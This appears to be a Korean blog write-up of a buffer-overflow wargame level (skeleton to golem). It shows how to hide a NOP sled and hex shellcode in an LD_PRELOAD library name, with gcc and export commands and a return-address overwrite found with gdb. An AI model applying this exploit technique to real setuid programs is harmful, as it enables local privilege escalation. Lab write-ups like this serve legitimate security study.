nemo의 이야기

BOF원정대 skeleton -> golem 본문

Information security/System security

BOF원정대 skeleton -> golem

nemojjong 2018. 1. 25. 16:28

 

위 코드를 확인해보면

 

1. buffer를 초기화하고 RET를 제외하고 그 아래에 있는 모든 스택을 초기화한다.

 

모든 스택을 초기화하기때문이 입력값에 쉘코드를 넣어서 공격하기는 힘들다.

 

이를 해결하기 위해서는 환경변수를 이용하여 공격하면 된다.

 

리눅스에는 LD_PRELOAD라는 환경변수가 존재한다. 이 환경변수를 지정해 놓으면 프로세스가 로딩하고 각종 라이브러리들을 로딩할 때

 

LD_PRELOAD에 선언된 라이브러리를 가장 먼저 로딩하게 된다.

 

이를 이용하여 이미 존재하는 라이브러리와 이름을 같게하여 정상의 라이브러리가 로딩되지 않게하고 정상적인 라이브러리 안의 정상적인

 

함수와 같은 이름의 함수를 작성하여 함수를 후킹 할 수 있다.

 

그럼 쉘코드를 LD_PRELOAD에 넣고 후킹할 c파일을 만들어 컴파일 해보자

 

#include <unistd.h>
#include <sys/types.h>

uid_t getuid(void)
{
        return 9999;
}

 

c파일을 만든 다음

 

gcc hook.c -fPIC -o hook.so --shared 형식으로 컴파일한다.


gcc -fPIC -shared my_lib.c -o $(python -c 'print "\x90" *100 +"\x68\x8a\xe2\xce\x81\x68\xb1\x0c\x53\x54\x68\x6a\x6f\x8a\xe4\x68\x01\x69\x30\x63\x68\x69\x30\x74\x69\x6a\x14\x59\xfe\x0c\x0c\x49\x79\xfa\x41\xf7\xe1\x54\xc3"')

 

이제 훅을 설치해줘야되는데

 

훅을 설치할 때는 절대 경로로 지정해줘야된다.

 

export LD_PRELOAD="/home/skeleton/$(python -c 'print "\x90"*100 +"\x68\x8a\xe2\xce\x81\x68\xb1\x0c\x53\x54\x68\x6a\x6f\x8a\xe4\x68\x01\x69\x30\x63\x68\x69\x30\x74\x69\x6a\x14\x59\xfe\x0c\x0c\x49\x79\xfa\x41\xf7\xe1\x54\xc3"')"

 

 

LD_PRELOAD에 쉘코드가 들어가 있는 것을 볼 수 있다.

 

이제 gdb를 이용하여 놉 위치를 찾아 RET에 주소를 입력해주면 된다.

 

 

bffff5d8주소를 RET에 넣어서 공격해보자

 

 

 

공격에 성공한것을 확인할 수 있다.

'Information security > System security' 카테고리의 다른 글

BOF원정대 darknight -> bugbear  (0) 2018.01.28
BOF원정대 golem -> darknight  (0) 2018.01.28
BOF원정대 vampire -> skeleton  (0) 2018.01.19
BOF원정대 orge -> troll  (0) 2018.01.10
BOF원정대 darkelf -> orge  (0) 2018.01.08
Comments